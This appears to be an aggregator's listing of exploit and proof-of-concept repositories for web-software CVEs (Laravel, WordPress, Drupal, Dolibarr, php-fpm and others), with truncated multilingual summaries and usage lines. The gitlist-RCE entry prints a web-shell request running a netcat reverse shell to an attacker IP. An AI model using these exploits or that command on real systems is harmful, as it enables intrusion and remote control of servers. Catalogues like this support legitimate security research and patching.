CVE-2014-0160-Scanner

CVE-2014-0160-Scanner Este é um simples script de linha de comando em php para verificar um array de domínios para a vulnerabilidade CVE-2014-0160 Para executar: php index.php Créditos: Ele utiliza o serviço fornecido por http://filippo.io/Heartbleed/...

CVE-2021-3129_exploit

CVE-2021-3129exploit Exploit für CVE-2021-3129 Laboreinrichtung: root@kitploit: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve Verwendung: root@kitploit: $ git clone...

CVE-2020-28032_PoC

CVE-2020-28032PoC PoC für CVE-2020-28032 Es ist nur eine POP-Kette in WordPress RequestsUtilityFilteredIterator Object callback:protected = system storage:ArrayIterator:private = Array 0 = id uid=1000nth347 gid=1000nth347...

CVE-2019-9081_PoC

CVE-2019-9081poc PoC für CVE-2019-9081; diese CVE ist lediglich eine neue POP-Kette. Das Projekt ist eine vorgefertigte verwundbare Laravel 5.7.x-Anwendung mit einem Einstiegspunkt für die POI-Sicherheitslücke unter der URI /deserialize POST-Anfrage. Lab-Einrichtung: Starten der verwundbaren...

CVE-2024-54761

BigAnt Office Messenger 5.6.06 में SQL इंजेक्शन के माध्यम से RCE BigAnt Messenger में SQL इंजेक्शन भेद्यता RCE भेद्यता का कारण बनती है। शोषण करने के लिए चरणों का पालन करें। उपयोग: root@kitploit: CVE-2024-54761.py -h -r RHOST -p RPORT -u USERNAME -P PASSWORD options: -h, --help show this help...

cve-analysis-exploitation-mitigation

CVE Analysis, Exploitation & Mitigation A hands-on cybersecur...

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

PoC exploit per Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2018-7600

CVE-2018-7600 - Esecuzione remota di codice in Drupal 7 Un'implementazione in Rust dell'exploit CVE-2018-7600 che prende di mira installazioni Drupal 7 vulnerabili = 7.57. Questa CLI riproduce il seguente flusso PoC: avvelena un form renderizzabile in cache tramite il percorso user/password, estr...

phpggc

PHPGGC: PHP Generic Gadget Chains PHPGGC ist eine Bibliothek vonunserialize-Payloads sowie ein Werkzeug, um diese von der Kommandozeile oder programmatisch zu erzeugen. Wenn Sie auf einer Website auf ein unserialize stoßen, deren Code Sie nicht haben, oder einfach ein Exploit bauen möchten,...

php-bypass-disable-functions

php-bypass-disable-functions Progetto dimostrativo su come bypassare il controllo di sicurezza disablefunctions di PHP su Linux, dove i processi possono ispezionare e persino scrivere la propria memoria tramite il file speciale /proc/self/map mediante operazioni standard sui file...

phuip-fpizdam

PHuiP-FPizdaM Cos'è Questo è un exploit per un bug in php-fpm CVE-2019-11043. In alcune configurazioni nginx + php-fpm, il bug è possibile da innescare dall'esterno. Questo significa che un utente web potrebbe ottenere l'esecuzione di codice se hai una configurazione vulnerabile vedi sotto. Write...

CVE-2020-15568

CVE-2020-15568 Ein schneller und einfacher POC für CVE-2020-15568. Nicht getestet, aber basierend auf Informationen von hier: https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/...

EUVD-2026-67044

opensslencrypt versions before 1.4.9 store an unkeyed SHA-256 hash of the plaintext in the cleartext file header metadata. Attackers can read this hash without the password to confirm guessed plaintexts offline or fingerprint identical plaintexts across separately-encrypted files...

CVE-2025-44608

CVE-2025-44608 CloudClassroom-PHP Project v1.0은 SQL Injection을 통한 RCE에 취약합니다. Vendor: https://github.com/mathurvishal/CloudClassroom-PHP-Project Software Link: https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip PoC Step 1: 영향을 받는 URL로 이동하여 ?viewid=1 매개변수에...

CVE-2023-6553-PoC

CVE-2023-6553 PoC LFI a RCE Esecuzione remota di codice non autenticata in Backup Migration Plugin WordPress. Esecuzione root@kitploit: $ python exploit.py Il seguente script PHP viene eseguito. root@kitploit: out.txt; ? Riferimenti Trovata esecuzione remota di codice non autenticata critica nel...

gitlist-RCE

gitlist-RCE CVE-2014-4511 esempio: dopo il caricamento riuscito della shell: accesso: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2025-44137

CVE-2025-44137 Lettura di file non autenticata in MapTiler Tileserver-php v2.0. Descrizione MapTiler Tileserver-php v2.0 è vulnerabile a Directory Traversal. La funzione renderTile all'interno di tileserver.php è responsabile della consegna delle tile memorizzate come file sul server tramite...

CVE-2020-12640

CVE-2020-12640: Inclusione Locale di File PHP tramite "Plugin Value" in Roundcube Webmail Una vulnerabilità di Path Traversal esiste nelle versioni di Roundcube precedenti alla 1.4.4, 1.3.11 e 1.2.10. Poiché i parametri "plugins" non eseguono sanitizzazione/filtro degli input, un attaccante con...

CVE-2024-52301-Research

CVE-2024-52301-Forschung Ein wenig Recherche zu CVE-2024-52301. Ich habe die Schwachstelle gesehen und wollte herausfinden, wie Laravel angreifbar ist. Dazu habe ich einfach die Versionen 6.20.44 und 6.20.45 verglichen und nachvollzogen, wie GET-Parameter letztendlich die Anwendungskonfiguration...

Vvveb-CMS-CVE-2025-8518

Vvveb-CMS-CVE-2025-8518 Questo repository contiene un Proof of Concept PoC che dimostra una vulnerabilità critica in givanz Vvveb 1.0.5. La vulnerabilità consente a un utente autenticato con privilegi di modifica dei template di scrivere codice PHP arbitrario nei file del server, portando a Remot...